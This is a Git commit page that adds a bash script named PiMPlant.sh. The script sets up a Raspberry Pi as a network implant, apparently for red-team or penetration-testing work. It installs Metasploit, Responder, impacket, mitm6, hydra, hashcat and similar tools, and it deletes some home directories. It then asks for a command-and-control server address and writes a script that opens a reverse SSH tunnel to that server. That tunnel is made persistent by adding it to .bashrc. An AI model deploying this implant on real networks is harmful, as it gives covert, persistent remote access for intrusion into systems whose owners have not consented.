فهرست منبع

Create PiMPlant.sh

assume-breach 3 سال پیش
والد
کامیت
d774fd1cd8
1فایلهای تغییر یافته به همراه67 افزوده شده و 0 حذف شده
  1. 67 0
      PiMPlant/PiMPlant.sh

+ 67 - 0
PiMPlant/PiMPlant.sh

@@ -0,0 +1,67 @@
+#!/bin/bash 
+cat << "EOF"
+██████╗ ██╗███╗   ███╗██████╗ ██╗      █████╗ ███╗   ██╗████████╗    
+██╔══██╗██║████╗ ████║██╔══██╗██║     ██╔══██╗████╗  ██║╚══██╔══╝    
+██████╔╝██║██╔████╔██║██████╔╝██║     ███████║██╔██╗ ██║   ██║       
+██╔═══╝ ██║██║╚██╔╝██║██╔═══╝ ██║     ██╔══██║██║╚██╗██║   ██║       
+██║     ██║██║ ╚═╝ ██║██║     ███████╗██║  ██║██║ ╚████║   ██║       
+╚═╝     ╚═╝╚═╝     ╚═╝╚═╝     ╚══════╝╚═╝  ╚═╝╚═╝  ╚═══╝   ╚═╝       
+                                                                     
+███████╗ ██████╗██████╗ ██╗██████╗ ████████╗                         
+██╔════╝██╔════╝██╔══██╗██║██╔══██╗╚══██╔══╝                         
+███████╗██║     ██████╔╝██║██████╔╝   ██║                            
+╚════██║██║     ██╔══██╗██║██╔═══╝    ██║                            
+███████║╚██████╗██║  ██║██║██║        ██║                            
+╚══════╝ ╚═════╝╚═╝  ╚═╝╚═╝╚═╝        ╚═╝                            
+EOF
+echo ""
+echo "Welcome To The PiMPlant Script!"
+sleep 4
+echo "Let's Update Your Implant"
+apt-get update -y && apt-get upgrade -y
+echo "Removing Unneeded Directories"
+rm -rf Videos/
+rm -rf Music/
+rm -rf Public/
+rm -rf Templates/
+rm -rf Bookshelf/
+echo "Installing Metasploit"
+sudo apt-get install build-essential libreadline-dev libssl-dev libpq5 libpq-dev libpcap-dev sqlite3 libsqlite3-dev
+cd /opt
+sudo git clone https://github.com/rapid7/metasploit-framework.git
+sudo apt-get install ruby-full build-essential
+cd metasploit-framework
+sudo gem install bundler
+bundle install
+echo "Time To Install All The Hacker Packages"
+sleep 4
+cd /opt/
+sudo git clone https://github.com/SpiderLabs/Responder.git
+git clone https://github.com/SecureAuthCorp/impacket.git
+cd impacket
+pip install -r requirements.txt
+python setup.py install
+cd ../
+git clone https://github.com/michenriksen/aquatone.git
+git clone https://github.com/darkoperator/dnsrecon.git
+git clone https://github.com/dirkjanm/mitm6.git
+sudo apt install python2 wifite hcxtools hydra medusa cewl hashcat macchanger nmap postgresql tmux -y
+cd /home/pi
+ssh-keygen
+echo "Enter Your C2 Server's IP/Domain"
+read C2IP
+sleep 2
+echo "Time For Some Reverse SSH"
+sleep 3
+touch rev.sh
+echo “#!/bin/bash” >> rev.sh
+echo "ssh -N -R 2222:localhost:22 root@$C2IP" >> rev.sh
+sudo chmod +x rev.sh
+chown pi:pi rev.sh
+echo "sleep 15 && bash /home/pi/rev.sh" >> /home/pi/.bashrc
+ssh-copy-id -i ~/.ssh/id_rsa.pub root@$C2IP
+echo "All Is Complete"
+sleep 2
+echo "Your Implant Is Configured"
+sleep 2
+echo "Reboot for changes to take effect"